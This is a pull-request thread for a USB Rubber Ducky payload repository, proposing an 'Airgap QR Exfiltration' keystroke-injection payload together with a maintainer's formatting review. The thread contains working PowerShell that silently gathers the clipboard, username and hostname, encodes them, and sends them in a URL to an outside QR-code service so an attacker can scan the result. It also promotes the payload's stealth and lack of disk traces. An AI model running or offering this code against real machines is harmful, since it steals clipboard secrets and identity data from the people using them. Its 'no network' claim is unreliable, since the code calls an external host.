Add Airgap QR Exfiltration Payload

[pezzaliapp]

🧠 Payload Name

Airgap QR Exfiltration

---

📝 Description

This payload silently exfiltrates sensitive data from a Windows machine without any internet connection.
It collects:

• Clipboard contents
• Username
• Hostname
• Timestamp

Then it Base64 encodes the data, URL-encodes it, and opens a QR code in Chrome.
The attacker can simply scan the QR with a smartphone and decode the string manually using a base64 decoder.

---

🎯 Purpose

Designed for air-gapped or offline environments, this payload demonstrates that even isolated machines can leak critical data in seconds through a clever side-channel: visual exfiltration via QR code.

No admin privileges, no network access, and no file writes required.

---

✅ Benefits

• No outbound network connections
• Works in restricted environments
• Leaves no trace on disk
• Extremely stealthy and fast
• Great for Red Team / pentest / physical ops

---

🔐 Notes

Only for use in authorized security assessments or educational purposes.

[hak5peaks]

For instances where you are using, STRING and then immediately ENTER you can simply use STRINGLN This makes the payload smaller and more readable and keeps the original functionality.

For example,

STRINGLN POWERSHELL

Will function the same as

STRING Powershell
ENTER

[hak5peaks]

If you are injecting powershell code, you can use a STRINGLN_POWERSHELL block, This cleans up the payload and makes it more readable, this also adds powershell syntax highlighting inside payload studio.

For example

STRINGLN_POWERSHELL
$clip = Get-Clipboard -Raw
$user = $env:USERNAME
$hostname = $env:COMPUTERNAME
$time = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$data = "[$time][$user@$hostname] $clip"
$encoded = [System.Web.HttpUtility]::UrlEncode([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)))
Start-Process chrome "--new-window https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=$encoded"
END_STRINGLN

will function the same as you have it currently and make things cleaner and more readable.

[hak5peaks]

If your target machine is windows, consider using the EXTENSION PASSIVE_WINDOWS_DETECT This allows the ducky to dynamically determine when the target machine is accepting keystrokes removing the need to have a long start delay.

[hak5peaks]

Please include all of the extension content.

[pezzaliapp]

✅ All requested changes applied. Extension block added and structure improved. Ready for re-review. Thanks!

[hak5peaks]

You are still missing the extension content. You need to include all of the extension and its content not just EXTENSION PASSIVE_WINDOWS_DETECT you can get the extension content and compile your payload using payloadstudio.

[pezzaliapp]

✅ Updated with full PASSIVE_WINDOWS_DETECT logic inline. Ready for review!

[hak5peaks]

Please remove the binary file.

[hak5peaks]

This is still incorrect. Please review the extensions library on the github

https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/extensions

https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/extensions

[pezzaliapp]

Hi! 👋 Thanks for the feedback.

The binary file (inject.bin, renamed delete_me.tmp) has now been completely removed from the repository history as requested.

Commit reference: 33f86e8
Let me know if any additional changes are needed!

Thanks again 🔐